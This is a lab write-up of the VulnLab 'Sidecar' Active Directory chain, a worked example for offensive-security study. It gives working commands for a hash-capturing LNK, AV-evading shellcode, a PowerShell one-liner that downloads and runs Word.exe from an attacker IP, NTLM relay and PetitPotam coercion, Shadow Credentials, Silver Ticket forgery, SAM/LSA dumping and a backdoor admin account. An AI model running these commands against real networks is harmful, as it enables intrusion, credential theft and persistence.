VL-Sidecar

Sidecar — VulnLab Chain Writeup | Active Directory Relay Attack Walkthrough

---

Introduction

This is a full writeup and walkthrough of Sidecar, a VulnLab Chain / Hack The Box Mini Prolab that chains together several real-world Active Directory attack techniques. If you enjoy environments where multiple machines are linked in a realistic domain setup, Sidecar is a great box to cut your teeth on. This walkthrough covers everything from initial enumeration through to full domain compromise, including NTLM relay, WebDAV coercion, Shadow Credentials, PKINIT abuse, and a Silver Ticket attack.

---

Hosts

10.10.207.85 dc01.Sidecar.vl
10.10.207.86 ws01.sidecar.vl

---

Enumeration

Nmap — DC01

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-24 09:41:23Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: Sidecar.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.Sidecar.vl
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing

Nmap — WS01

PORT      STATE SERVICE            REASON  VERSION
135/tcp   open  msrpc              syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn        syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       syn-ack Windows 10 Enterprise 10240 microsoft-ds (workgroup: SIDECAR)
3389/tcp  open  ssl/ms-wbt-server? syn-ack
| ssl-cert: Subject: commonName=ws01.Sidecar.vl
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

A couple of notable findings right away:

• WS01 has SMB signing disabled, which makes it a candidate for NTLM relay attacks.
• The Guest account is enabled and we have access to a public share on the DC.

Note on CVE-2025-33073 (NTLM Reflection): WS01 with signing off is technically vulnerable to NTLM reflection. You can read more about that technique here. However, this does not appear to be the intended path for this lab.

---

SMB Enumeration

Guest Share Access

netexec smb 10.10.207.85-86 -u guest -p '' --shares

We have both read and write access to the Public share on the DC. Browsing the \Common\ directory reveals a few existing .lnk files — a strong hint that someone (or something) is browsing this share.

User Enumeration via RID Brute-Force

netexec smb 10.10.207.85 -u guest -p '' --rid

SIDECAR\A.Roberts (SidTypeUser)
SIDECAR\J.Chaffrey (SidTypeUser)
SIDECAR\O.osvald (SidTypeUser)
SIDECAR\P.robinson (SidTypeUser)
SIDECAR\M.smith (SidTypeUser)
SIDECAR\E.Klaymore (SidTypeUser)
SIDECAR\svc_deploy (SidTypeUser)

We now have a valid user list. Let’s check for AS-REP roastable accounts:

GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.10.207.85 'Sidecar.vl/'

No hits — none of the accounts have pre-authentication disabled.

---

Initial Access — Malicious LNK via SMB Share

Since we have write access to the Common share and there are already .lnk files present, we can drop a malicious shortcut (inside the ‘custom’ folder) to capture NTLM hashes when a user browses the share. The tool ntlm_theft can generate these, though in practice a manually crafted shortcut targeting our listener worked more reliably:

python3 ntlm_theft.py -g lnk -s 10.8.5.195 -f ClickMe

Alternatively, create a CMD shortcut on a Windows VM pointing to:

C:\Windows\System32\cmd.exe /c \\10.8.5.195\hello

Start Responder on your attacking machine to capture the incoming authentication:

We captured the hash of E.Klaymore. Unfortunately, offline cracking against rockyou.txt came up empty:

hashcat hash /usr/share/wordlists/rockyou.txt

Relaying the hash to WS01 was the logical next step, but this also failed:

sudo ntlmrelayx.py -t smb://10.10.207.86 -smb2support -i

---

Getting a Beacon — Bypassing AV

Since we cannot crack or relay the hash directly, we can abuse the LNK file to execute a payload instead. A standard Metasploit shellcode was blocked by AV, so we use a custom shellcode runner with AES encryption via shellcoderunner:

shellcoderunneraes.py <C2_shellcode>.bin --aes pain05 --compile

Host the compiled binary and trigger execution via the LNK:

C:\Windows\System32\cmd.exe /c powershell iwr http://10.10.14.94:9090/Word.exe -o %TMP%\Word.exe -UseBasicParsing; & %TMP%\Word.exe

python3 -m http.server 9090

We now have a beacon running as E.Klaymore on WS01. From this context, we confirm:

• SMB signing is off on WS01, but E.Klaymore doesn’t have the permissions to do anything useful with a direct relay.
• LDAP signing on DC01 is disabled.
• This user cannot create new machine accounts (MAQ = 0 or restricted).

---

WebDAV + DNS + NTLM Relay to LDAP — Shadow Credentials on WS01$

This is where the chain gets interesting. The intended path is a classic HTTP → LDAP relay using WebDAV and coercion, similar to the technique popularised in the Hack The Box Intercept ProLab.

Step 1: Enable WebDAV on WS01

webdav enable 10.13.38.48
webdav status 10.13.38.48

Step 2: Add a DNS Record Pointing to Our Machine

We load Powermad into memory to add an ADIDNS record:

powershell IEX (IWR http://10.10.14.94:8085/Powermad.ps1 -UseBasicParsing); New-ADIDNSNode -Tombstone -Node hello -Data 10.10.14.94 -Verbose

Step 3: Set Up the NTLM Relay Listener

sudo ntlmrelayx.py -t "ldap://DC01.SIDECAR.VL" --shadow-credentials --shadow-target 'WS01$'

Step 4: Coerce WS01 Authentication

Since running coercion tools directly from the beacon kept killing the session, we instead delegate the CIFS ticket for E.Klaymore and use it with NetExec:

kerbeus tgtdeleg

cat tk | base64 -d > tk.kirbi
ticketConverter.py tk.kirbi tk.ccache
export KRB5CCNAME=tk.ccache

nxc smb 10.13.38.48 -u 'E.Klaymore' --use-kcache -M coerce_plus -o METHOD=petitpotam LISTENER=hello@80/work

The relay succeeds — Shadow Credentials are written to the WS01$ machine account object in LDAP. We now have a .pfx certificate for the machine account.

---

PKINIT → NT Hash for WS01$

Using PKINITtools:

python3 gettgtpkinit.py -cert-pfx 3RlwkrlV.pfx -pfx-pass dJT88G4cf9cY--O8Atk5 Sidecar.vl/WS01$ 3RlwkrlV.ccache

export KRB5CCNAME=3RlwkrlV.ccache
python3 getnthash.py -key e572214bdde3d9925f3ef116c35c38f884b35ece908e3b7791---------- sidecar.vl/'WS01$'

We now have the NT hash for the WS01$ machine account.

---

Silver Ticket — CIFS Access on WS01 as Administrator

With the machine account hash we can forge a Silver Ticket for the CIFS service on WS01. First, grab the domain SID:

netexec ldap 10.13.38.47 -u 'WS01$' -H <WS01$_HASH_REDACTED> --get-sid

S-1-5-21-3976908837-939936849-1028625813

Forge the ticket for the local Administrator account (RID 500):

ticketer.py -spn 'cifs/WS01.SIDECAR.VL' -domain-sid S-1-5-21-3976908837-939936849-1028625813 -domain SIDECAR.VL -user-id 500 -nthash <WS01$_HASH_REDACTED> administrator

Verify access:

netexec smb 10.13.38.48 -u 'Administrator' --use-kcache --shares

Dumping SAM and LSA

netexec smb 10.13.38.48 -u 'Administrator' --use-kcache --lsa
netexec smb 10.13.38.48 -u 'Administrator' --use-kcache --sam

From the dump we recover several local account hashes (redacted):

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Admin:1000:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Deployer:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Grabbing the User Flag

KRB5CCNAME=administrator.ccache smbexec.py -k -no-pass administrator@WS01.sidecar.vl

---

Lateral Movement to DC — Password Reuse

Running BloodHound from the machine account context reveals a local account named Deployer on WS01. Notably, there is also a domain user svc_deploy. A quick hash spray confirms password reuse:

netexec smb 10.13.38.47 -u 'svc_deploy' -H <DEPLOYER_HASH_REDACTED> --shares

netexec ldap 10.13.38.47 -u 'WS01$' -H <WS01$_HASH_REDACTED> --bloodhound --dns-server 10.13.38.47 -c ALL --dns-tcp

svc_deploy is a member of the Remote Management Users group on the DC — we can connect via WinRM:

evil-winrm -i 10.13.38.47 -u 'svc_deploy' -H <DEPLOYER_HASH_REDACTED>

---

Privilege Escalation — SeTcbPrivilege → SYSTEM

Checking our privileges reveals SeTcbPrivilege is enabled for svc_deploy:

SeTcbPrivilege (“Act as part of the operating system”) allows us to escalate to SYSTEM using tcb-lpe.

Upload both the C2 agent and the exploit binary, then trigger execution as SYSTEM:

upload Word.exe
upload tcb.exe

.\tcb.exe "C:\Windows\system32\cmd.exe /c C:\Users\svc_deploy\Desktop\Word.exe"

Alternatively, to add a backdoor admin account via WinRM:

.\tcb.exe "C:\Windows\System32\cmd.exe /c net user hello HelloWorld123@ /add && net localgroup administrators hello /add"

---

Root Flag

SIDECAR{NOPE}

---

Attack Chain Summary

1. Guest SMB access → user enumeration via RID brute-force
2. Malicious LNK dropped in writable share → E.Klaymore NTLM hash captured
3. AV-evading shellcode runner → beacon on WS01 as E.Klaymore
4. WebDAV + ADIDNS + PetitPotam coercion → NTLM relay to LDAP → Shadow Credentials on WS01$
5. PKINIT → NT hash for WS01$
6. Silver Ticket (CIFS) → local Administrator on WS01 → SAM/LSA dump
7. Password reuse (Deployer → svc_deploy) → WinRM on DC
8. SeTcbPrivilege abuse → SYSTEM on DC

---

Thanks for reading this VulnLab Sidecar writeup. If you found this walkthrough useful, feel free to share it. Happy hacking!